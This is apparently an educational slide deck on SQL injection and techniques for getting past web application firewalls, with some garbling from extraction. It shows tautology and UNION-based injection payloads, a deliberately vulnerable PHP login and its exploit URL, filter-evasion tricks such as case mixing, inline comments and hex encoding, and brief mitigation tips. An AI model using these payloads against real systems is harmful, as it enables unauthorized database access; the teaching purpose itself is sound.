All Ab0ut 0f SQL Injection and WAF Bypass Techniques

advertisement
All Ab0ut 0f SQL Injection
and WAF Bypass Techniques
THATSANAI DETDAMRONGPREEECHA
COMPUTER SCIENCE @ KING MONGKUT'S INSTITUTE OF TECHNOLOGY LADKRABANG
What is SQL Injection ?

Sql injection is code injection

Happened when user Inject sql command for change condition

because develop not filtered input from user
Logical Conjunction and
Disjunction table
SQL Operator

And , &&

Or , ||

Like

*

(,)

<,>

+, - , *, /, %
SQL Comment
end of the line

"#"

"--"

"-- "
multiple line

/* */
Examples
vulnerability and inject command
sql command :
SELECT first_name, last_name FROM users WHERE user_id = '$id‘
Inject code :
SELECT first_name, last_name FROM users WHERE user_id = '1‘ or ‘1’
SELECT
SELECT
SELECT
SELECT
SELECT
SELECT
first_name, last_name FROM users WHERE
first_name, last_name FROM users WHERE
first_name, last_name FROM users WHERE
first_name, last_name FROM users WHERE
first_name, last_name FROM users WHERE
first_name, last_name FROM users WHERE
user_id = 'am’ or ‘am’
user_id = ' ‘ or ‘1’=‘1’
user_id = ' ‘ or ‘2600’=‘2600’
user_id = ' ‘ or ‘HELLO’ or ‘HELLO’
user_id = ' ‘ or 1 #’
user_id = ' ‘ or true #’
sql command :
SELECT first_name, last_name FROM users WHERE user_id = $id
Inject code :
true
‘1’ or ‘1’
2 or 2
sql command :
SELECT first_name, last_name FROM users WHERE user_id = ($id)
Inject code :
1) or (1
2+3) or (5
http://cs.ssru.ac.th/cs01/mae/Pae/ตัวอย่างและโปรแกรมทีโ่ หลดๆมา/Login_thaicreate/PHP MySQL กับ Login
Form ทาระบบ User ล็อกอิ น แบบง่าย ๆ ด้วย PHP และ MySQL โดยทาการตรวจสอบ Username และ Password.htm
http://www.santosh143.com/2013/05/how-to-create-loginregister-system.html
http://www.exploit-db.com/exploits/26405/
http://www.exploit-db.com/exploits/26416/
Example

$sql = "SELECT * FROM members WHERE password='".md5($_GET['password'])."' AND
username='".$_GET['username']."'";

$result = mysql_query($sql, $db);

if ($result === FALSE)
die('Invalid SQL query');



if (mysql_num_rows($result) == 1) {
echo "Congrats, WIN!!!\n";


}

else {
echo "The number of rows is not 1\n";


}
login_sqli1.php?password=whatever&username='+or+1=1+LIMIT+1#
Impact

Get Information in database

Can gaining access system

Etc.
Bypass
Web Application Firewall Techniques
What is Web Application Firewall

Web application Firewall ( WAF )

Software or Hardware

Emphasis in prevention on the website

Filters all data in application layer

Can detected and prevention website
How to Bypass


?
Original

1’ or ‘1’=‘1

union all select 1,2,3,4,5 –

union all select 1,2,@@version,4,5 –
Solution

1’ oR ‘1’=‘1

uNIon AlL sELeCt 1,2,3,4,5 –

u/*2600*/ni/*12345*/on a/*..*/lL se/*AAAA*/lEct 1,2,@@VerSIon,4,5 --
How to Bypass

If Filter or , and

Solve :
?

Using || instead of or

Using && instead of and
(cont.)
How to Bypass

If Filter where

Solve :

(cont.)
Using limit instead of where

If Filter limit

Solve :

?
You can Using group by and having instead of where
How to Bypass

If Filter whitespace

Solve :

(cont.)
Using %0b instead of whitespace

If Filter ‘

Solve :

?
Using 0xXX , unhex(xx) instead of ‘
How to Mitigation
Top 5 Secure Coding Tips for PHP applications

Filter Input Data

GET , POST , COOKIE
Securing Database Queries
 Filter Output Data




htmlspecialchars()

htmlentities()

strip_tags()

strtr()
Error Handling

log_errors = On

display_errors = Off
Preventing other injection attacks
References and Appendix

www.owasp.org

http://palpapers.plynt.com/issues/2009Dec/secure-coding-php/

http://dev.mysql.com/doc/refman/5.0/en/non-typedoperators.html

http://thtutz.blogspot.com
Download